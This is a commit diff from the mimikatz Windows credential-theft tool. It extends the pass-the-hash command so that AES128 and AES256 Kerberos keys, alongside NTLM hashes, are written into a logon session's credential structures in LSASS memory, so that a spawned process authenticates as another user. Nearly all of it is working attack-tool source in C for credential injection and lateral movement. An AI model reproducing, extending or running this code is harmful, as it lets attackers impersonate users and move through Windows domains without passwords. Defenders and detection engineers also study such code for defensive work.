Pass-The-Hash now supports AES keys for Kerberos with Windows 8.1/2012r2

This commit is contained in:
Benjamin DELPY 2014-05-08 01:08:06 +02:00
parent f861bb41aa
commit c509bbfbf7
4 changed files with 70 additions and 9 deletions

View File

@ -96,5 +96,7 @@ typedef struct _SEKURLSA_PTH_DATA {
PCWCHAR UserName;
PCWCHAR LogonDomain;
LPBYTE NtlmHash;
LPBYTE Aes256Key;
LPBYTE Aes128Key;
BOOL isReplaceOk;
} SEKURLSA_PTH_DATA, *PSEKURLSA_PTH_DATA;

View File

@ -422,10 +422,10 @@ NTSTATUS kuhl_m_sekurlsa_getLogonData(const PKUHL_M_SEKURLSA_PACKAGE * lsassPack
NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[])
{
BYTE ntlm[LM_NTLM_HASH_LENGTH];
BYTE ntlm[LM_NTLM_HASH_LENGTH], aes128key[AES_128_KEY_LENGTH], aes256key[AES_256_KEY_LENGTH];
TOKEN_STATISTICS tokenStats;
SEKURLSA_PTH_DATA data = {&(tokenStats.AuthenticationId), NULL, NULL, ntlm, FALSE};
PCWCHAR szRun, szNTLM;
SEKURLSA_PTH_DATA data = {&(tokenStats.AuthenticationId), NULL, NULL, ntlm, NULL, NULL, FALSE};
PCWCHAR szRun, szNTLM, szAes128, szAes256;
DWORD dwNeededSize;
HANDLE hToken;
PROCESS_INFORMATION processInfos;
@ -436,11 +436,42 @@ NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[])
{
if(kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL))
{
if(kull_m_string_stringToHex(szNTLM, ntlm, sizeof(ntlm)))
if(kull_m_string_stringToHex(szNTLM, ntlm, LM_NTLM_HASH_LENGTH))
{
kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe");
kprintf(L"user\t: %s\ndomain\t: %s\nNTLM\t: ", data.UserName, data.LogonDomain);
kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n");
if(kull_m_string_args_byName(argc, argv, L"aes128", &szAes128, NULL))
{
if(MIMIKATZ_NT_BUILD_NUMBER > KULL_M_WIN_MIN_BUILD_BLUE)
{
if(kull_m_string_stringToHex(szAes128, aes128key, AES_128_KEY_LENGTH))
{
data.Aes128Key = aes128key;
kprintf(L"AES128\t: ");
kull_m_string_wprintf_hex(data.Aes128Key, AES_128_KEY_LENGTH, 0); kprintf(L"\n");
}
else PRINT_ERROR(L"AES128 hash length must be 32 (16 bytes)\n");
}
else PRINT_ERROR(L"AES128 key only supported from Windows 8.1\n");
}
if(kull_m_string_args_byName(argc, argv, L"aes256", &szAes256, NULL))
{
if(MIMIKATZ_NT_BUILD_NUMBER > KULL_M_WIN_MIN_BUILD_BLUE)
{
if(kull_m_string_stringToHex(szAes256, aes256key, AES_256_KEY_LENGTH))
{
data.Aes256Key = aes256key;
kprintf(L"AES256\t: ");
kull_m_string_wprintf_hex(data.Aes256Key, AES_256_KEY_LENGTH, 0); kprintf(L"\n");
}
else PRINT_ERROR(L"AES256 hash length must be 64 (32 bytes)\n");
}
else PRINT_ERROR(L"AES256 key only supported from Windows 8.1\n");
}
kprintf(L"Program\t: %s\n", szRun);
if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, data.UserName, data.LogonDomain, L"", &processInfos, FALSE))
{

View File

@ -221,7 +221,8 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY
{
PSEKURLSA_PTH_DATA pthData = (PSEKURLSA_PTH_DATA) pOptionalData;
DWORD i, nbHash;
BYTE ntlmHash[LM_NTLM_HASH_LENGTH];
BYTE ntlmHash[LM_NTLM_HASH_LENGTH], aes128key[AES_128_KEY_LENGTH], aes256key[AES_256_KEY_LENGTH];
BOOL isAes128 = FALSE, isAes256 = FALSE;
UNICODE_STRING nullPasswd = {0, 0, NULL};
KULL_M_MEMORY_ADDRESS aLocalKeyMemory = {NULL, Localkerbsession.hMemory}, aLocalHashMemory = {NULL, Localkerbsession.hMemory}, aLocalNTLMMemory = {NULL, Localkerbsession.hMemory}, aLocalPasswdMemory = {&nullPasswd, Localkerbsession.hMemory}, aRemotePasswdMemory = {(PBYTE) RemoteLocalKerbSession.address + kerbHelper[KerbOffsetIndex].offsetCreds + FIELD_OFFSET(KIWI_GENERIC_PRIMARY_CREDENTIAL, Password), RemoteLocalKerbSession.hMemory};
PKERB_HASHPASSWORD_GENERIC pHash;
@ -239,7 +240,22 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY
{
RtlCopyMemory(ntlmHash, pthData->NtlmHash, LM_NTLM_HASH_LENGTH);
if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_VISTA)
{
(*pData->lsassLocalHelper->pLsaProtectMemory)(ntlmHash, LM_NTLM_HASH_LENGTH);
if(pData->cLsass->osContext.BuildNumber >= KULL_M_WIN_BUILD_BLUE)
{
if(isAes128 = (pthData->Aes128Key != NULL))
{
RtlCopyMemory(aes128key, pthData->Aes128Key, AES_128_KEY_LENGTH);
(*pData->lsassLocalHelper->pLsaProtectMemory)(aes128key, AES_128_KEY_LENGTH);
}
if(isAes256 = (pthData->Aes256Key != NULL))
{
RtlCopyMemory(aes256key, pthData->Aes256Key, AES_256_KEY_LENGTH);
(*pData->lsassLocalHelper->pLsaProtectMemory)(aes256key, AES_256_KEY_LENGTH);
}
}
}
RemoteLocalKerbSession.address = baseCheck = (PBYTE) RemoteLocalKerbSession.address + kerbHelper[KerbOffsetIndex].structKeyListSize;
i = nbHash * (DWORD) kerbHelper[KerbOffsetIndex].structKeyPasswordHashSize;
@ -254,12 +270,22 @@ void CALLBACK kuhl_m_sekurlsa_enum_kerberos_callback_pth(IN PKIWI_BASIC_SECURITY
pHash = (PKERB_HASHPASSWORD_GENERIC) ((PBYTE) aLocalHashMemory.address + offset);
kprintf(L"\n \\_ %s ", kuhl_m_kerberos_ticket_etype(pHash->Type));
if((pHash->Size == LM_NTLM_HASH_LENGTH) && (pHash->Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96) && (pHash->Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96))
RemoteLocalKerbSession.address = pHash->Checksump;
resultok = L"OK";
if((pHash->Size == LM_NTLM_HASH_LENGTH) && (pHash->Type != KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && (pHash->Type != KERB_ETYPE_AES256_CTS_HMAC_SHA1_96))
{
aLocalNTLMMemory.address = ntlmHash;
RemoteLocalKerbSession.address = pHash->Checksump;
offset = LM_NTLM_HASH_LENGTH;
resultok = L"OK";
}
else if(isAes128 && (pHash->Type == KERB_ETYPE_AES128_CTS_HMAC_SHA1_96) && (pHash->Size == AES_128_KEY_LENGTH))
{
aLocalNTLMMemory.address = aes128key;
offset = AES_128_KEY_LENGTH;
}
else if(isAes256 && (pHash->Type == KERB_ETYPE_AES256_CTS_HMAC_SHA1_96) && (pHash->Size == AES_256_KEY_LENGTH))
{
aLocalNTLMMemory.address = aes256key;
offset = AES_256_KEY_LENGTH;
}
else
{

View File

@ -13,6 +13,8 @@
#define DES_KEY_LENGTH 7
#define DES_BLOCK_LENGTH 8
#define AES_128_KEY_LENGTH 16
#define AES_256_KEY_LENGTH 32
typedef struct _MD4_CTX {
DWORD state[4];
@ -161,7 +163,7 @@ typedef struct _KERB_HASHPASSWORD_5 {
typedef struct _KERB_HASHPASSWORD_6 {
LSA_UNICODE_STRING salt; // http://tools.ietf.org/html/rfc3962
PVOID stringToKey;
PVOID stringToKey; // AES Iterations (dword ?)
KERB_HASHPASSWORD_GENERIC generic;
} KERB_HASHPASSWORD_6, *PKERB_HASHPASSWORD_6;